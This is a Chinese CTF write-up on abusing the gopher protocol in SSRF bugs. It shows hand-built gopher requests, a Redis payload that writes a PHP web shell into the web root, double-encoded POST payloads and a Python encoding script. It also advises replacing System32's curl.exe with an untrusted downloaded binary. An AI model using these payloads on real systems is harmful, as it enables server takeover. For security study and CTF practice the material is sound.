文章目录
0x01 reference和环境准备
参考 Gopher协议在SSRF漏洞中的深入研究(附视频讲解)
参考 Gopher协议与redis未授权访问
Gopher协议格式:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
- gopher的默认端口是70
- 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
注意%0d%0a是\r\n的URL编码。
遇到问题:win10自带的curl不支持gopher协议
网上下了一个,链接放在下面
- 百度云链接:https://pan.baidu.com/s/1bqX3NF-LL5tt6dE8JEd9QQ 提取码:6h6z
将bin目录下三个文件放在C:\Windows\System32目录下,就不用添加环境变量了,替换原来的curl.exe。当然也可以放在其他地方不过要自己添加环境变量。
删除原来的curl.exe的方法:https://zhidao.baidu.com/question/1384229736645191820.html
0x02 使用gopher构造GET、POST请求
nc启动监听,监听6666端口:
nc -lvp 6666
使用curl发送http请求,命令为
curl gopher://121.196.196.190:6666/abcd
此时nc收到的消息为:bcd
可以发现url中的a没有被nc接受到,如果命令变为
curl gopher://121.196.196.190:6666/_abcd
此时nc收到的消息为:abcd
所以需要在使用gopher协议时在url后加入一个字符(该字符可随意写)
构造GET请求
那么如何发送HTTP的请求呢?例如GET请求。此时我们联想到,直接发送一个原始的HTTP包不就可以吗?在gopher协议中发送HTTP的数据,需要以下三步:
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
4.、gopher协议后的IP一定要接端口
服务器上的代码
<?phpecho"Hello ".$_REQUEST["name"]."\n"?>
一个GET型的HTTP包,如下:
GET /hello.php?name=Margin HTTP/1.1
Host: 121.196.196.190
URL编码并将%0A替换为%0d%0A、问号?替换为%3f、结尾加上%0d%0A
curl gopher://121.196.196.190:80/_GET%20/hello.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20121.196.196.190%0d%0A
发送成功
构造POST请求:
POST与GET传参的区别:它有4个参数为必要参数
需要传递
Content-Type,Content-Length,host,post
的参数,且Content-Length的长度必须正确
POST /hello.php HTTP/1.1
Host: 121.196.196.190
Content-Type:application/x-www-form-urlencoded
Content-Length:13
name=qaq
现在我们将它进行URL编码:
POST%20/hello.php%20HTTP/1.1%0AHost:%20121.196.196.190%0AContent-Type:application/x-www-form-urlencoded%0AContent-Length:13%0A%0Aname=qaq
将%0A替换为%0d%0A、问号?替换为%3f、结尾加上%0d%0A
curl gopher://121.196.196.190:80/_POST%20/hello.php%20HTTP/1.1%0d%0AHost:%20121.196.196.190%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:13%0d%0A%0d%0Aname=qaq%0d%0a
成功
0x03 CTF实战
[GKCTF2020]EZ三剑客-EzWeb
源码发现提示,得到内网地址
输入www.baidu.com回显百度页面,判断存在ssrf
使用file: /var/www/html/index.php能读取到源码
<?phpfunctioncurl($url){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_HEADER,0);echocurl_exec($ch);curl_close($ch);}if(isset($_GET['submit'])){$url=$_GET['url'];//echo $url."\n";if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is',$url,$match)){//var_dump($match);die('别这样');}curl($url);}if(isset($_GET['secret'])){system('ifconfig');}?>
过滤了file协议、dict协议、127.0.0.1和localhost,还可以使用http、gopher
我们使用http协议进行内网主机存活探测。
使用burp进行c段扫描
发现目标
接下来使用Gopherus生成打redis payload
修改一下url,输入框中输入payload
gopher://10.0.158.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
然后访问shell.php得到flag
ctfhub POST请求
这道题需要用gopher协议构造一个post包,参数为key
http访问flag.php得到key的值为5805170ffc11f479662274d624b462d1
构造的包如下
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36
key=5805170ffc11f479662274d624b462d1
将其url编码
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1%0AContent-Type:application/x-www-form-urlencoded%0AContent-Length:36%0A%0Akey=5805170ffc11f479662274d624b462d1
根据要求将%0A替换为%0d%0A、问号?替换为%3f、结尾加上%0d%0A
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:36%0d%0a%0d%0akey=5805170ffc11f479662274d624b462d1%0d%0a
这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250aHost:%2520127.0.0.1%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aContent-Length:36%250d%250a%250d%250akey=5805170ffc11f479662274d624b462d1%250d%250a
然后发送它,拿到flag
写了个脚本自动完成上述步骤,这道题把payload里的key修改一下就可以
import urllib.parse
# 输入要构造的post请求包
payload ='''
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36
key=601af1680224be3db87254533bd90ab9
'''# 自动修改Content-Length长度
Content_Length =len(payload.split()[-1])# 取得Content-Length
payload = payload.replace("36",str(Content_Length))# 替换Content-Length# 输入内网ip与端口
payload ="gopher://127.0.0.1:80/_"+ payload.strip()# url编码,python3.0后的编码器 urlencode更新后改为quote_plus
payload = urllib.parse.quote(str(payload))# 替换
payload = payload.replace("%3A",":").replace("%0A","%0d%0a").replace("%3D","=")+"%0d%0a"print("[+] 1次url编码\n", payload)
payload = urllib.parse.quote(payload).replace("%3A",":").replace("%0A","%0d%0a").replace("%3D","=")print("[+] 2次url编码\n", payload)
结果:
[+]1次url编码:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:36%0d%0a%0d%0akey=601af1680224be3db87254533bd90ab9%0d%0a[+]2次url编码:
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250aHost:%2520127.0.0.1%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aContent-Length:36%250d%250a%250d%250akey=601af1680224be3db87254533bd90ab9%250d%250a
版权归原作者 天问_Herbert555 所有, 如有侵权,请联系我们删除。